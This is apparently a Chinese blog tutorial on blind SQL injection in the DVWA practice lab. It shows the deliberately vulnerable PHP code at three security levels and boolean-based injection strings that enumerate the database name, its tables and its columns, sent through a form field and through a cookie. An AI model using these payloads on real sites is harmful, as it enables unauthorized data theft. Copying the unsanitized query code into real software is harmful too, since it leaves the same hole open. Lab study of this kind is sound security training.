zoukankan      html  css  js  c++  java
  • DVWA-sql注入(盲注)

    DVWA简介

    DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

    DVWA共有十个模块,分别是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA(不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。

    需要注意的是,DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。

     

    SQL Injection(Blind)

    SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

    手工盲注思路

    手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。

    盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这里由于实验环境的限制,只演示基于布尔的盲注与基于时间的盲注。

    下面简要介绍手工盲注的步骤(可与之前的手工注入作比较,在之前的链接写过):

    1.判断是否存在注入,注入是字符型还是数字型

    2.猜解当前数据库名

    3.猜解数据库中的表名

    4.猜解表中的字段名

    5.猜解数据

     

    LOW:

    代码:

    <?php 
    
    if( isset( $_GET[ 'Submit' ] ) ) { 
        // Get input 
        $id = $_GET[ 'id' ]; 
    
        // Check database 
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
        $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 
    
        // Get results 
        $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
        if( $num > 0 ) { 
            // Feedback for end user 
            echo '<pre>User ID exists in the database.</pre>'; 
        } 
        else { 
            // User wasn't found, so the page wasn't! 
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 
    
            // Feedback for end user 
            echo '<pre>User ID is MISSING from the database.</pre>'; 
        } 
    
        mysql_close(); 
    } 
    
    ?> 

    可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种,

    User ID exists in the database.
    

    ‘与‘

    `User ID is MISSING from the database.`
    

    ,因此这里是SQL盲注漏洞。

    注入方法一:布尔盲注

    输入1’ and 1=1 #,显示存在:

    输入1’ and 1=2 #,显示不存在:

     存在字符型的盲注。

    然后猜解数据库名:输入1’ and length(database())=4 #,显示存在:说明长度为4

    然后采用二分法猜解数据库的名字,可以用if函数,这里用的ASCII值,道理都是一样的:

    1’ and ascii(substr(databse(),1,1))=100 #

     第一个字母的ASCII值是100,也就是d,以此类推得出数据库名是dvwa。

    之后猜解表名:

    1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #

     说明有两个表。

    1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 

    显示存在,说明第一个表的长度是9.

    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #

    显示存在,说明第一个字母是g。

    再重复步骤猜解,即可猜解出两个表名(guestbook、users)。

    然后猜解字段名:

    猜解数量:1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #

    显示存在,说明一共8个字段。

    然后再利用2分法猜解字段名和字段中数据。

    除了2分法,还有其他的盲注方法,比如延时注入,在之前的sqli-labs有介绍,在这不多说。

    MEDIUM:

    代码:

    <?php 
    
    if( isset( $_POST[ 'Submit' ]  ) ) { 
        // Get input 
        $id = $_POST[ 'id' ]; 
        $id = mysql_real_escape_string( $id ); 
    
        // Check database 
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
        $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 
    
        // Get results 
        $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
        if( $num > 0 ) { 
            // Feedback for end user 
            echo '<pre>User ID exists in the database.</pre>'; 
        } 
        else { 
            // Feedback for end user 
            echo '<pre>User ID is MISSING from the database.</pre>'; 
        } 
    
        //mysql_close(); 
    } 
    
    ?> 

    可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

    x00, , ,\,’,”,x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

    这种情况就和显注教程类似,通过抓包修改id的值进行注入,在这不再演示。

    high:

    代码:

    <?php 
    
    if( isset( $_COOKIE[ 'id' ] ) ) { 
        // Get input 
        $id = $_COOKIE[ 'id' ]; 
    
        // Check database 
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
        $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 
    
        // Get results 
        $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
        if( $num > 0 ) { 
            // Feedback for end user 
            echo '<pre>User ID exists in the database.</pre>'; 
        } 
        else { 
            // Might sleep a random amount 
            if( rand( 0, 5 ) == 3 ) { 
                sleep( rand( 2, 4 ) ); 
            } 
    
            // User wasn't found, so the page wasn't! 
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 
    
            // Feedback for end user 
            echo '<pre>User ID is MISSING from the database.</pre>'; 
        } 
    
        mysql_close(); 
    } 
    
    ?> 

    可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

    漏洞利用:

    虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:

    抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

    抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

    抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

  • 相关阅读:
    【SSH网上商城项目实战11】查询和删除商品功能的实现
    【SSH网上商城项目实战10】商品类基本模块的搭建
    【SSH网上商城项目实战09】添加和更新商品类别功能的实现
    【SSH网上商城项目实战08】查询和删除商品类别功能的实现
    【SSH网上商城项目实战07】Struts2和Json的整合
    【SSH网上商城项目实战06】基于DataGrid的数据显示
    thinkphp模版主题使用方法
    sql语句中#{}和${}的区别
    SQL语句中有关单引号、双引号和加号的问题
    LEFT JOIN 关键字语法
  • 原文地址:https://www.cnblogs.com/hzk001/p/12260320.html
Copyright © 2011-2022 走看看